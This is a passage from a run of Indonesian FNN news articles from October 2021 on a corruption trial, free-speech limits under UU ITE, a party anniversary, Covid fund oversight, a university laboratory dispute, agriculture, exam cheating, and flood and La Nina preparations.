Hibah dan Bantuan Sosial yang bersumber dari APBD diduga digunakan untuk memperkaya diri sendiri, orang lain atau suatu korporasi. Berdasarkan penyidikan tim penyidik Kejaksaan Tinggi Sumatera Selatan dalam perkara tersebut, masing-masing terdakwa diduga telah menerima sejumlah dana, yaitu Eddy Hermanto menerima sebesar Rp 684.419.750, Syarifudin Rp 1.049.336.610, Dwi Kridayani sebesar Rp 2.500.000.000, Yudi Arminto sebesar Rp 2.368.553.390, PT Brantas Abeparaya (Persero) sebesar Rp 5.000.000.000. Terdakwa dinilai terbukti secara sah dan meyakinkan melanggar Pasal 2 ayat (1) Jo. Pasal 18 Undang-Undang (UU) Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat 1 ke-1 KUHP Jo. Pasal 64 ayat (1) KUHP sebagai pasal primer. Pasal 12 b ayat (1) UU Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat 1 ke-1 KUHP Jo. Pasal 64 ayat (1) KUHP sebagai pasal sekunder. Sementara itu Hakim Sahlan Effendi mengatakan, diberikan waktu sampai satu pekan ke depan kepada terdakwa untuk menentukan sikap apakah menerima tuntutan JPU atau mengajukan banding. (MD).

Korban UU ITE Bukti Pembatasan Kebebasan Berekspresi Buruk Sekali

Jakarta, FNN - Pembatasan kebebasan berekspresi yang dipraktikkan (pemerintah), buruk sekali. Hal itu terbukti dari banyaknya korban Undang-Undang Informmasidan dan Transaksi Elektronik (UU ITE). "Pasal pembatasan kebebasan berpendapat telah ditafsirkan secara berlebihan oleh para pembuat aturan. Seharusnya, yang menjadi substansi dari aturan adalah kebebasan berpendapat yang harus dikelola, diatur, dan dibatasi," kata anggota Komisi Nasional Hak Asasi Manusia, M Choirul Anam, Jumat, 29 Oktober 2021. “Tetapi, karena saking ketatnya pembatasan, yang terjadi bukan mendiskusikan kebebasan berpendapat, tmelainkan mendiskusikan pembatasan itu, sehingga tidak ada makna kebebasan dalam konteks hak asasi manusia,” kata Choirul Anam sebagaimana dikutip dari Antara. Ia menyampaikan hal itu ketika memberi paparan materi dalam kuliah umum hukum hak asasi manusia bertajuk “Mekanisme Penyelidikan Kasus Pelanggaran HAM Berat” yang disiarkan di kanal YouTube FHUB Official. Anam mengatakan, pelaku pencemaran nama baik tidak boleh dipidana oleh hukum yang berlaku. “Kalau ada orang yang tersinggung reputasinya, tercemar reputasinya, ya gugat saja di perdata. Itu mekanismenya,” ujar Anam. Akan tetapi, dia melanjutkan, di Indonesia, pemerintah justru memfasilitasi penindakan pelaku pencemaran nama baik melalui jalur pidana dengan menggunakan Undang-Undang Informasi dan Transaksi Elektronik (UU ITE), khususnya pasal 27 ayat (3). Pasal tersebut memuat salah satu perbuatan dilarang, yakni dengan sengaja dan tanpa hak mendistribusikan dan/atau mentransmisikan dan/atau membuat dapat diaksesnya informasi elektronik dan/atau dokumen elektronik yang bermuatan penghinaan dan/atau pencemaran nama baik. Atas perbuatan tersebut, berdasarkan pasal 45 ayat (1) UU ITE, seseorang dapat dipidana dengan pidana penjara paling lama enam tahun dan/atau denda paling banyak satu miliar rupiah. "International Covenant On Civil And Political Rights (ICCPR) atau Kovenan Internasional tentang Hak-Hak Sipil dan Politik mengatakan, kebebasan berekspresi atau berpendapat bisa dibatasi," kata dia. Pembatasan tersebut tertuang pada pasal 19 UU Nomor 12/2005. Pasal 19 ayat (3) UU Nomor 12/2005 membahas mengenai pembatasan hak kebebasan berpendapat dengan tujuan menghormati hak atau nama baik orang lain, serta melindungi keamanan nasional, ketertiban umum, kesehatan, atau moral masyarakat. (MD).

Potong Nasi Tumpeng Biru, Partai Gelora Dapat Ucapan Spesial dari Anies Baswedan, Sandiaga Uno dan Berbagai Kalangan

Jakarta, FNN - Partai Gelombang Rakyat (Gelora) Indonesia merayakan Milad ke-2 pada Kamis (28/10/2021) malam secara sederhana di bilangan Kuningan, Jakarta Selatan. Perayaan dihadiri Ketua Umum Partai Gelora Anis Matta, Wakil Ketua Umum Fahri Hamzah, Sekretaris Jenderal Mahfuz Sidik dan para fungsionaris DPN Partai Gelora. Dalam kesempatan ini, Anis Matta melakukan pemotongan Nasi Tumpeng berwarna biru. Potongan nasi tumpeng tersebut kemudian diberikan kepada perwakilan Generasi Muda Partai Gelora sebagai pertanda semangat 'Kolaborasi Menuju 5 Besar Dunia'. "Dengan mengucapkan Bismillahirrahmanirrahim, malam ini kita potong tumpengnya. Tumpengnya pun biru, tumpengnya bergelora. Saya juga baru lihat nasi biru, kalau nasi saja bisa biru, Insya Allah Indonesia bisa biru," kata Anis Matta. Aksi pemotongan nasi tumpeng ini, kemudian diikuti secara serentak oleh DPW, DPD, DPC dan PAC di seluruh Indonesia, yang juga melakukan pemotongan nasi tumpeng serupa. Mereka melakukan aksi nobar (nonton bareng) perayaan Milad ke-2 Partai Gelora yang disiarkan secara langsung di Channel YouTube Gelora TV. Dalam Milad ke-2 ini, Gubernur DKI Jakarta Anies Baswedan, Menteri Pariwisata dan Ekonomi Kreatif Sandiaga Uno, Wakil Menteri Hukum dan HAM Edward 'Eddy Hiariej, Wakil Gubernur DKI Jakarta Ahmad Riza Patria memberikan ucapan secara khusus atau spesial kepada Partai Gelora. Gubernur DKI Jakarta Anies Baswedan mengatakan, tema kolaborasi menuju lima besar dunia menyiratkan sebuah semangat yang akan menjadi pendorong bagi kemajuan Partai Gelora, sehingga bisa memberikan manfaat bagi bangsa dan negara. "Ijinkan hari ini, saya mengucapkan hari jadi kepada Partai Gelombang Rakyat, Partai Gelora Indonesia. Salam hangat dari balaikota," kata Anies Baswedan. Sementara Sandiaga mengatakan, Partai Gelora di bawah pimpinan Anis Matta, Fahri Hamzah dan Mahfuz Sidik akan terus bergelora melakukan pencapaian yang luar biasa seperti hari ini. Sementara itu, Wakil Menteri Hukum dan HAM Edward 'Eddy berharap Partai Gelora bisa mewarnai demokrasi di Indonesia menjadi lebih baik lagi. "Saya berharap Partai Gelora memberikan kerja nyata bagi rakyat Indonesia, mampu mewarnai demokrasi Indonesia lebih baik lagi," kata Eddy Hiariej. Hal senada disampaikan Wakil Gubernur DKI Ahmad Riza (Ariza) Patria yang juga Ketua DPD Partai Gerindra DKI Jakarta. Ariza berharap Partai Gelora semakin berkembang pesat agar bisa memberikan kontribusi besar bagi agama dan bangsa agar Indonesia menjadi negara berdaulat. Selain mereka sejumlah kepala daerah seperti Bupati Lampung Tengah Musa Ahmad, Bupati Pandeglang Irna Narulita Dimyati, Bupati Bangka Selatan Reza Herdavid dan lain-lain juga memberikan ucapan selamat HUT ke-2 Partai Gelora. Tak ketinggalan juga sejumlah selebritas tanah air seperi Renny Djajoesman, Nia Paramitha menyampaikan ucapan serupa kepada Partai Gelora yang merayakan HUT ke-2 yang bertepatan dengan peringatan Hari Sumpah Pemuda, Kamis, 28 Oktober 2021. Ketua Umum Partai Gelora Anis Matta mengaku bersyukur dalam Milad ke-2 di tengah banyaknya keterbatasan, Partai Gelora mampu menciptakan pencapaian yang luar biasa baik pada kekuatan postur struktur, kader maupun popularitas dan elektablitas. "Sekali lagi ini adalah malam yang kita syukuri. malam yang sangat kita syukuri, karena itu mari berdoa kepada Allah SWT. Alhamdulillah sebagian besar pekerjaan rumah tangga kita, relatif selesai," ujar Anis Matta. Anis Matta berharap seluruh fungsionaris dan kader Partai Gelora bisa mengakhiri kerja sepi selama dua tahun ini dengan mulai mendatangi dan menyapa rakyat untuk menyerukan suatu perubahan besar. "Kita mengikrarkan, sekarang kita keluar untuk meniupkan angin agar riak perubahan menjadi gelombang, gelombang perubahan menuju Indonesia lima besar dunia," tegas Anis Matta. Sekretaris Jenderal Partai Gelora Mahfuz Sidik mengatakan, hingga Kamis (28/10/2021) jumlah kader Partai Gelora berjumlah 500.611 orang dan ditargetkan 1 juta kader pada akhir Desember 2021. Saat ini, Partai Gelora telah berhasil membentuk 6.837 DPC (kecamatan) atau 88 persen dari seluruh kecamatan di Indonesia. Sedangkan pembentukan DPW (provinsi), DPD (kabupaten/kota) sudah mencapai 100 persen. "Sekarang ini Partai Gelora sudah memiliki 10.941 Pimpinan Anak Cabang di tingkat kelurahan dan desa. Ini baru 13 persen, PR-nya masih banyak karena ada 83.446 kelurahan dan desa. Tapi mudah-mudahan milad ketiga bisa 100 persen," kata Mahfuz. Mahfuz menambahkan hingga kini ada 19 DPW yang telah menyelesaikan 100 persen pembentukan DPC. Yakni DPW Partai Gelora DKI Jakarta, Sulawesi Barat, Kalimantan Timur dan Kalimantan Selatan dan Kalimantan Utara. Kemudian DPW Partai Gelora Nusa Tenggara Barat, Jawa Barat, Lampung, Kalimantan Tengah, Kepulauan Riau, Maluku Utara, Jambi, Jawa Timur, Sumatera Selatan, Bangka Belitung, Riau, Sulawesi Tenggara, Maluku dan Bali. Dalam Milad ke-2 ini, Partai Gelora melaunching program baru, yakni Pilot Project Pipi (Pintarnya Perempuan Indonesia), Sagara Film Festival, Planting Life (Gerakan Menanam Pohon, Menanam 1.000 Kehidupan), dan Kompetisi Orasi Politik 2021. (sws)

Rocky Gerung Cs Buka Posko Pengaduan Penyelewengan Dana Covid-19

Jakarta, FNN - Aktivis Perhimpunan Menemukan Kembali Indonesia (PMKI) yang dimotori oleh Rocky Gerung, Ferry Juliantono, dan Syahganda Nainggolan akan membuka posko pengaduan penyelewengan dana Covid-19 oleh para pejabat pemerintahan. Langkah tersebut dilakukan menyusul keputusan Mahkamah Kontitusi (MK) yang membatalkan kekebalan hukum yang diberikan kepada para pejabat penyelenggara negara. Sebelumnya berdasarkan Perppu No 1 Tahun 2020 yang kemudian berubah menjadi UU No 2 Tahun 2020 tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan untuk Penanganan Pandemi Corona, para pejabat diberi kekebalan hukum. Semua penggunaan anggaran untuk penanganan pandemi Covid -19 merupakan bagian dari biaya ekonomi untuk penyelamatan perekonomian, bukan merupakan kerugian negara. Bagi pejabat pengambil kebijakan dalam hal penanggulangan krisis ekonomi akibat pandemi COVID-19 yang tidak dapat dituntut baik secara perdata maupun pidana. Dengan catatan apabila dalam hal melaksanakan tugas tersebut didasarkan pada iktikad baik dan sesuai dengan ketentuan peraturan perundang- undangan. Ketentuan yang diatur dalam Pasal 27 ayat 1 UU No 2 Tahun 2020 dinilai oleh MK bertentangan dengan prinsip due process of law untuk mendapatkan perlindungan yang sama (equal protection). “Undang-undang ini memberi legitimasi terhadap potensi pelanggaran yang dilakukan oleh penyelenggara negara,” ujar Ferry Juliantono dalam perbicangan dengan wartawan senior Hersubeno Arief di kanal Hersubeno Point, FNN Jumat 29 Oktober 2021. Ferry menilai UU No 2 Tahun 2021 penuh dengan moral hazard. Karena itu dia mengajak masyarakat untuk ikut mengawasi dan melaporkannya bila mendapati adanya penyimpangan. Penetapan tarif PCR yang semula sebesar Rp 900 ribu, dan kemudian diubah menjadi hanya Rp 275 ribu untuk Pulau Jawa dan Bali , dan Rp 300.000 untuk luar Jawa dan Bali, menurut hemat Ferry bisa menjadi indikator adanya permainan dengan memanfaatkan pandemi. “Kemarin itu uangnya kemana? Kok bisa sebelumnya ditetapkan Rp 900 ribu, sekarang jadi Rp 275 ribu,” tegas Ferry. Selain itu masalah vaksin, dan kartu pra kerja juga mengindikasikan adanya penyimpangan anggaran pemerintah yang dilindungi undang-undang. Perhimpunan Menemukan Kembali Indonesia dideklarasikan bersamaan dengan renungan 93 Tahun Sumpah Pemuda, Kamis 28 Oktober 2021 di Jakarta. Sejumlah aktivis hadir, mereka antara lain ekonom senior FE UI Faisal Basri, ekonom Anthony Budiawan, ahli hukum tata negara Refly Harun, Said Didu, dan sejumlah tokoh kritis lainnya. (end)

Laboratorium Blok Masela di Unpatti Melanggar Kebebasan Akademik?

by Ahmad Lohy Ambon FNN - Kasak-kusuk nama proyek Pembangunan Laboratorium Terpadu Penyangga Blok Masela yang ditempatkan di Universitas Pattimura (Unpatti) terdengar jadi perbincangan. Proyek ini mulai diperbincangkan di kampus Unpatti, khususnya para mahasiswa. Sekilas proyek ini terdengar sepertinya membanggakan bagi mahasiswa Unpatti, khususnya untuk mahasiswa Fakultas Teknik. Namun proyek pembangunan laboratorium penyangga gas abadi Blok Masela bakal bakal menuai polemik. Sebab proyek tersebut merupakan hasil kerjasama perusahaan dengan pemerintah terkait pengelolaan minyak dan gas Blok Masela. Pastinya proyek tersebut berorientasi kepada profit. Realitas ini tentu akan menghadapkan Unpatti pada satu keadaan yang disebut dengan conflict of value. Dimana perusahaan atau korporasi bakal selalu memprioritaskan kebutuhannya ketimbang kebutuhan-kebutuhan pendidikan di kampus Unpatti. Hal ini patut dikhwatirkan akan menjadi tragedi buruk untuk dunia pendidikan. Bukan tidak mungkin, ke depan Fakultas Teknik Unpatti akan menghadapi potensi dominasinya korporasi terkait pembangunan proyek tersebut. Mengingat proyek nasional yang diadakan melalui Kementerian Pendidikan dan Perguruan Tinggi (Kemendikti), yang notabene menangani bidang pendidikan dan perguruan tinggi ini tiba-tiba meluncurkan proyek Laboratorium Terpadu Penyangga Blok Masela. Kemungkinan bakal menimbulkan polemik dan perdebatan. Upaya apa dibalik diksi yang di gunakan? Mengapa tidak dinamakan Proyek Pembangunan Laboratorium Fakultas Teknik Unpatti saja? Mengapa harus bernama Laboratorium Terpadu Penyangga Blok Masela? Apakah penamaan ini berhubungan dengan perjanjian kerja sama antara Unpatti dengan PT. Inpex? Jika Unpatti adalah Perguruan Tinggi Nasional yang dimiliki pemerintah, mengapa pihak universitas harus melakukan MoU dengan PT. Inpex? Padahal, yang kita ketahui bersama bahwa laboratorium yang dibangun tersebut untuk kepentingan penelitian akademis di fakultas teknik yang terdiri dari berbagai jurusan, yaitu; Teknik Perminyakan, Teknik Geologi, Teknik Kimia dan Program Studi Geofisika. Apakah hal ini yang disebut kapitalisasi Pendidikan dengan modus penamaan? Tidak hanya sampai di situ. Seperti dikutip dari kabarnews.com, terkait pernyataan Wakil Rektor Bidang Perencanaan Kerjasama dan Sistem Informasi Dr. Muspida, bahwa penelitian sampel-sampel di laboratoriun nantinya menjadi pemasukan untuk universitas. "Misalnya, sampel-sampel geologi, kimia atau yang lain itu kan tidak gratis diperiksakan di lab sini, jadi pendapatan universitas-lah," ujar Muspida. Masyarakat bisa menduga-duga Unpatti mau disandra untuk kepentinan perusahaan. Proyek ini sebagai indikasi bahwa tujuan dan target yang dibangun para pejabat tinggi Unpatti ke depan, sarat dengan kepntingan kapitalisasi dunia akademik untuk kepentingan mendapatkan keuntungan uang. Target komersial seperti ini yang harus dihindari dunia perguruan tinggi. Perguruan tinggi harus tetap steril dari semuan kepentingan dan kebutuhan komersial. Sebab bukan untuk itu perguruan tingga diadakan. Untuk diketahui, Undang-Undang Nomor 12 Tahun 2012 Tentang Pendidikan Tinggi bagian kedua paragraf satu terkait Kebebasan Akademik, Kebebasan Mimbar Akademik dan Otonomi Keilmuan, pada pasal 8 ayat (1) menyatakan , "dalam penyelenggaraan pendidikan dan pengembangan ilmu pengetahuan dan teknologi berlaku kebebasan akademik, kebebasan mimbar akademik, dan otonomi keilmuan". Seterusnya dibahas dan dipertegas dalam pasal 9 ayat (1) bahwa "kebebasan akademik sebagaimana dimaksud dalam pasal 8 ayat (1) merupakan kebebasan civitas akademika dalam pendidikan tinggi untuk mendalami dan mengembangkan ilmu pengetahuan dan teknologi secara bertanggung jawab melalui pelaksanaan Tridharma". Dengan demikian, sumbangsih pendidikan, penelitian dan pengabdian kepada masyarakat berupa ilmu pengetahuan dan teknologi harusnya menjadi semangat untuk menghasilkan suatu karya yang original. Perguruan Tinggi harus melahirkan karya yang mendorong serta membentuk sesuatu yangg bermanfaat dalam lingkungan masyarakat. Bukan untuk mendapatkan keuntungan komersial semata. Sebagai kelompok civitas akademika, yang cenderung kepada tradisi ilmiah dengan mengembangkan budaya akademik sebagaimana dijelaskan dalam UU Perguruan Tinggi. Kini tradisi ilmiah tersebut secara tidak langsung mulai terkooptasi dan berafiliasi dengan kepentingan kapital. Jika benar, maka sungguh ironis dunia pendidikan kita. Penulis adalah Wartawan FNN.co.id

Kementerian BUMN Minta Pemda Dukung Program Makmur Pupuk Indonesia

Jakarta, FNN - Kementerian BUMN meminta pemerintah daerah mendukung program Makmur Pupuk Indonesia di Desa Sukadamai, Kecamatan Tanjung Lago, Kabupaten Banyuasin, Sumatera Selatan, dengan cara membangun infrastruktur penunjang pertanian untuk mempermudah proses produksi dan distribusi pertanian. Staf Khusus III Menteri BUMN Arya Sinulingga dalam keterangan pers yang diterima di Jakarta, Jumat, mengatakan dukungan pemda akan bermanfaat pada produktivitas pertanian di wilayah Sumsel tersebut. "Tadi, juga ada keluhan sebenarnya, mereka butuh air dan mereka ini terhambat sehingga airnya agak asam, sehingga kita membutuhkan bantuan dari pemerintah daerah. Karena, kita harapkan dengan cara bantuan yang diberikan BUMN di-support pemerintah daerah, sehingga saling mendukung program yang dibangun pemerintah pusat khususnya BUMN dengan pemerintah daerah jadi saling terkait," katanya saat menghadiri acara program Makmur Pupuk Indonesia di Desa Sukadamai, Sumsel, Kamis (28/10/2021). Arya mengatakan saat ini program Makmur (Mari Kita Majukan Usaha Rakyat) diimplementasikan di atas lahan sekitar 25 hektare dengan komoditas jagung. Petani yang masuk program berasal dari Kelompok Tani Sidomukti. Ia mengaku para petani yang tergabung di Kelompok Tani Sidomukti merasakan manfaat program Makmur. Program Makmur memberikan ekosistem lengkap yang bertujuan meningkatkan produktivitas hingga penghasilan petani. Ekosistem di sini menghubungkan petani dengan pihak project leader, asuransi, lembaga keuangan, teknologi pertanian, pemerintah daerah, agro input, ketersediaan pupuk nonsubsidi, dan offtaker. "Jadi, mudah-mudahan dengan program yang kita berikan mereka dapat bantuan dana, bibit terbaik, pupuk terbaik, pestisida terbaik, kemudian ada peminjaman sewa alatnya, ada juga asuransinya ini akan memutar dan ada offtaker-nya dan ini pendanaannya dari perbankan. Jadi, ini adalah proses yang kita harapkan bisa baik untuk Desa Sukadamai," kata Arya. Sementara itu, Tatang, seorang petani dari Kelompok Tani Sidomukti mengungkapkan dirinya telah bergabung program Makmur sejak 2020. Selama mengikuti program, produktivitas pertaniannya meningkat. Bahkan, dirinya mengaku tidak lagi bergantung pada pupuk subsidi dalam melakukan penanaman. "Dengan adanya program Makmur, alhamdulillah saya bisa bandingkan antara pemakaian pupuk program Makmur. Yang menggunakan program Makmur mencapai 9,3 ton per hektare, yang sebelumnya sekitar 8,4 ton per hektare," kata Tatang. PT Pupuk Indonesia (Persero) menugaskan PT Pupuk Sriwidjaja Palembang menjadi project leader program Makmur di Provinsi Sumatera Selatan. Program ini telah diimplementasikan di atas lahan seluas 2.292 hektare yang tersebar ke beberapa wilayah di Sumatera Selatan. Petani yang tergabung berjumlah 1.274 orang. Program Makmur kembali dilaksanakan di lahan seluas 25 hektare di Desa Sukadamai dengan komoditas yang ditanam adalah jagung. Adapun, rincian luas lahan program Makmur yang dilaksanakan Pusri Palembang di Sumsel yaitu Desa Upang Mulya seluas 150 hektare, Desa Tirja Jaya 210 hektare, Desa Rejosari seluas 210 hektare, serta Desa Mukti Jaya dan Talang Jaya seluas 400 hektare. Selanjutnya, Desa Nusa Makmur seluas 900 hektare, Desa Sukadamai seluas 25 hektare, Desa Manggar Raya seluas 135 hektare, Desa Sumber Agung seluas 50 hektare, Desa Mendayun 79,75 hektare, Desa Purwodadi seluas 43,5 hektare, Desa Tanjung Mas seluas 73,5 hektare, dan Desa Gumawang seluas 15,25 hektare. (mth)

Ganjar: Tidak Ada Ampun Bagi Pelaku Kecurangan Seleksi CASN Jateng

Semarang, FNN -Gubernur Jawa Tengah Ganjar Pranowo menegaskan tidak akan memberi ampun bagi jajarannya yang terbukti melakukan berbagai praktik kecurangan pada seleksi calon aparatur sipil negara (CASN) di Provinsi Jateng. "Kalau ada kecurangan (pada seleksi CASN) di Jateng, tidak ada ampun buat saya, akan saya proses," katanya di Semarang, Jumat. Hingga saat ini, Ganjar mengaku belum menerima laporan ataupun menemukan dugaan kecurangan pada seleksi CASN di Jateng. Dirinya meminta semua pihak yang terlibat pada seleksi CASN agar menjaga integritas selama proses seleksi berlangsung. Menurut dia, tidak boleh ada kecurangan karena seleksi CASN merupakan kesempatan bagi negara untuk mencari kader-kader dan birokrat yang bagus. "Maka jangan dicemari dengan urusan kolusi, korupsi, dan nepotisme," ujarnya. Terkait dengan kecurangan seleksi CASN di berbagai daerah di Indonesia yang menggunakan teknologi, Ganjar berharap ada evaluasi dari penyelenggara dan jika kecurangan itu sifatnya masif, maka harus ada audit teknologi informasi. "Agar kemudian kita bisa mengetahui dan mengecek betul, itu terjadi atau tidak. Sebenarnya seperti apa dan lainnya, ini harus diaudit," katanya. Orang nomor satu di Jateng itu juga meminta penyelenggara bersikap tegas dalam mengambil keputusan, jika memang ada niat jahat untuk melakukan kecurangan itu, maka mesti dibatalkan atau diulang. "Sehingga semua punya kesempatan dan hak yang sama," ujar Ganjar. (mth)

Anies Sebut Percepatan Penanganan Genangan Banjir Bisa Dapat KPI

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan menyebutkan upaya mempercepat penanganan banjir oleh jajarannya bisa mendapat penilaian melalui indikator kinerja individu atau key performance indicator (KPI) "Di awal tahun ini terasa daerah-daerah yang biasanya kalau banjir tergenang tiga empat hari, sekarang kurang dari satu hari sudah kering. Kenapa? karena sekarang petugas lurah, camat, BPBD, itu semua punya target," kata Anies dalam Rakornas virtual Antisipasi La Nina di Jakarta, Jumat. Mantan Menteri Pendidikan dan Kebudayaan itu menargetkan genangan air surut dalam waktu enam jam setelah hujan berhenti. Menurut dia, kapasitas drainase jalan utama atau jalan raya di DKI Jakarta mencapai 100 milimeter per hari dan di luar jalan utama dan jalan raya mencapai 50 milimeter per hari. Apabila curah hujan per hari di DKI Jakarta mencapai 100 milimeter, Anies menargetkan kawasan Ibu Kota tidak boleh banjir. Sedangkan, untuk antisipasi banjir pihaknya sudah melakukan aksi gerebek lumpur dengan mengeruk sedimen dan sampah di sejumlah sungai dan waduk di lima wilayah di DKI Jakarta. Tujuannya agar waduk dan sungai tersebut memiliki daya tampung air yang lebih besar jika curah hujan lebih tinggi dari 100 milimeter per hari. Sementara itu, lanjut dia, 13 sungai yang mengalir di Jakarta memiliki daya tampung 2.300 meter kubik per detik. Anies mencatat volume air yang sempat masuk ke Jakarta mencapai 3.200 meter kubik per detik ketika ada hujan ekstrem di kawasan selatan atau pegunungan. "Jadi gap-nya itu bisa meningkat sampai 1.000 meter kubik per detik antara daya tampung dengan air yang masuk, itu sebabnya harus dikendalikan di kawasan tengah dengan waduk, supaya masuknya ke dalam kota masih tetap sesuai kapasitas," ucapnya. (mth)

Bea Cukai Madura Musnahkan Jutaan Batang Rokok Ilegal

Pamekasan, FNN - Kantor Bea dan Cukai Madura, Jumat, memusnahkan jutaan batang rokok ilegal hasil sitaan institusi itu di Kabupaten Bangkalan, Sampang, Pamekasan, dan Kabupaten Sumenep, Jawa Timur. "Ada 5.329.166 batang rokok yang kami musnahkan hari ini. Rokok-rokok ini merupakan hasil sitaan petugas dari operasi gabungan yang kami gelar di empat kabupaten di Pulau Madura selama ini," kata Kantor Pengawasan dan Pelayanan Bea dan Cukai Tipe Madya Pabean C Madura Yanuar Calliandra. Rokok-rokok yang tidak dilekati pita cukai hasil 151 kali penindakan dalam bentuk operasi rutin gabungan bersama polisi, TNI, dan pemkab se-Madura ini diangkut dua armadara truk dari gudang penyimpanan Kantor Bea Cukai di Jalan Panglima Sudirman Pamekasan menuju Tempat Pembuangan Akhir (TPA) Angsanah, Kecamatan Proppo, Pamekasan. Petugas selanjutnya menaruh rokok yang terdiri atas puluhan merek ini di sebuah lubang, lalu mencampurnya dengan sampah. KPP Bea Cukai Madura Yanuar Calliandra menyatakan bahwa keberhasilan petugas menyita rokok ilegal itu merupakan bentuk keseriusan dalam memberantas peredaran rokok ilegal di Pulau Madura. "Jadi, tidak benar bahwa Kantor Bea Cukai sering bermain-main dengan rokok ilegal," katanya. Pernyataan Yanuar ini sekaligus membantah tudingan sebagian aktivis lembaga swadaya masyarakat dan pengusaha rokok lokal Pamekasan yang berunjuk rasa ke Kantor Bea Cukai Madura. Mereka memprotes pola penyitaan rokok dengan sistem tebus belum lama ini. Kala itu pengunjuk rasa menuding tindakan terhadap peredaran rokok ilegal atau rokok yang tidak dilekati pita cukai sebagai bentuk pemerasan karena sebagian rokok yang disita masih bisa ditebus melalui oknum. Pemusnahan rokok ilegal atau rokok yang tidak dilekati pita cukai di TPA Sampang Desa Angsanah, Jumat (29/10/2021), itu merupakan kali keempat dalam kurun waktu 2019 hingga Oktober 2021. Pada tahun 2019 rokok ilegal yang dimusnahkan tercatat sebanyak 5.465.363 batang, pada bulan Februari 2020 sebanyak 6.227.884 batang, dan pada bulan November 2020 sebanyak 3.077.112 batang rokok ilegal juga dimusnahkan. Selanjutnya, pada bulan Oktober 2021 sebanyak 5.329.166 batang rokok ilegal dimusnahkan. Dengan demikian, total rokok ilegal yang disita petugas dan dimusnahkan dalam kurun waktu 2019 hingga 29 Oktober 2021 sebanyak 20.099.525 batang rokok. Jumlah ini tergolong sedikit karena berdasarkan pantauan ANTARA di lapangan, hingga kini rokok yang tidak dilekati pita cukai masih beredar di sejumlah pelosok desa dengan sistem penjualan secara tersembunyi. Bupati Pamekasan Baddrut Tamam menyebutkan banyak perusahaan rokok di Pamekasan khususnya dan Madura pada umumnya memiliki potensi bagus dalam pengembangan ekonomi dan serapan tenaga kerja. Namun, lanjut dia, yang menjadi kendala adalah belum semua produsen rokok mengurus izin usaha dan izin operasional perusahaan sehingga ke depan perlu pendekatan persuasif dengan cara memberikan penyadaran kepada para pelaku usaha tentang manfaat berusaha melalui jalur resmi. "Makanya, kami juga meminta kepada Bea Cukai agar pendekatannya bukan pendekatan 'gempur', melainkan pendekataan kemanusiaan melalui upaya memberikan pemahaman yang benar kepada para pelaku usaha ini," kata Bupati. Disebutkan pula bahwa perusahaan rokok yang tersebar di empat kabupaten di Pulau Madura yang terdata di Kantor Bea dan Cukai Madura saat ini sebanyak 90-an perusahaan rokok. Dari jumlah itu, sekitar 70 perusahaan berada di Kabupaten Pamekasan. Menurut dia, jumlah tersebut menurun drastis karena pada tahun 2009 Dinas Perindustrian dan Perdagangan (Disperindag) mendata jumlah perusahaan rokok sebanyak 272 perusahaan yang tersebar di 13 kecamatan di wilayah itu. (mth)

Menteri PUPR Kosongkan 205 Bendungan Antisipasi Badai La Nina

Jakarta, FNN - Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR) Basuki Hadimuljono mengosongkan 205 bendungan dengan total volume tampung 4,7 miliar meter kubik dalam rangka mengantisipasi badai La Nina. Menteri PUPR telah mendengarkan prediksi BMKG bahwa pola hujan pada akhir 2021 dan awal 2022 dipengaruhi oleh La Nina. Untuk itu Kementerian PUPR melakukan langkah-langkah untuk menghadapi badai La Nina 2021 ini. "Kita melaksanakan standar operasional prosedur siaga bencana. Pertama sebanyak 205 bendungan dengan volume tampung sebesar 4,7 miliar meter kubik, mengosongkan tampungan dengan membuka seluruh pintu pengeluaran, contohnya di Bendungan Bilibili, Bendungan Batu Tegi, dan Bendungan Jatiluhur," ujar Menteri PUPR Basuki Hadimujono dalam Rapat Koordinasi Nasional Antisipasi La Nina secara daring di Jakarta, Jumat. Menteri PUPR juga siap mengaktifkan pertama kali Satgas Penanggulangan Bencana di pusat untuk memonitoring semua infrastruktur yang ada di Indonesia agar bisa mengetahui volume banjir yang dapat ditampung. "Kita saat ini memiliki 231 bendungan ditambah beberapa bendungan baru dan Kementerian PUPR telah menghitung berapa daya tampung banjir di bendungan tersebut," katanya. Menteri PUPR juga menyampaikan Indonesia saat ini memiliki 12 kolam retensi dengan volume tampung 6,8 juta meter kubik, bendung gerak dengan volume tampungan 65,8 juta meter kubik dan membuka seluruh pintu pengeluaran, contohnya di kolam retensi Nipa-Nipa di Sulawesi Selatan. Kemudian 12 bendung karet dengan volume 7,3 juta meter kubik dengan cara mengempeskan bendung tersebut, contohnya di bendung karet Tirtonadi di Solo. Dengan demikian ketika banjir, air bisa terus mengalir ke bendung tersebut dan akan ditutup saat akhir musim hujan untuk ditampung buat musim kemarau. "Kita juga membuka terowongan pengendali banjir seperti di Terowongan Nanjung Sungai Citarum dan Sodetan Cisangkuy supaya menghindarkan banjir di Baleendah," katanya. Selain itu Kementerian PUPR juga menyiapkan pengoperasian 192 unit pompa pengendali banjir dengan kapasitas kapasitas 263,4 meter kubik /detik, melakukan uji operasi dan menyiapkan bahan bakarnya seperti di Pompa Pengendali Banjir Kali Sringin, dan Pompa Pengendali Banjir Kali Tenggang. Kementerian PUPR juga saat ini sedang membangun 39 bendungan, dengan adanya prediksi La Nina maka Kementerian PUPR juga harus berhati-hati supaya tidak terjadi kecelakaan konstruksi dalam pembangunan bendungan ini. "Kami menempatkan petugas di hulu coffer dam 5-10 km untuk mengamati pola debit air yang akan masuk ke sungai yang sedang dibangun bendungannya," ujar Menteri Basuki. Selain itu, lanjut dia, Kementerian PUPR menginventarisasi bahan-bahan banjiran yang dibutuhkan di semua balai di seluruh Indonesia seperti geobag dan inventarisasi alat berat yang ada serta penyedia jasa yang sedang bekerja di masing-masing balai, antara lain dump truck, excavator, dan perahu karet. "Untuk meningkatkan kerja sama dalam rangka antisipasi dan kesiapsiagaan dalam menghadapi La Nina dan bencana hidrometeorologi, kerja sama 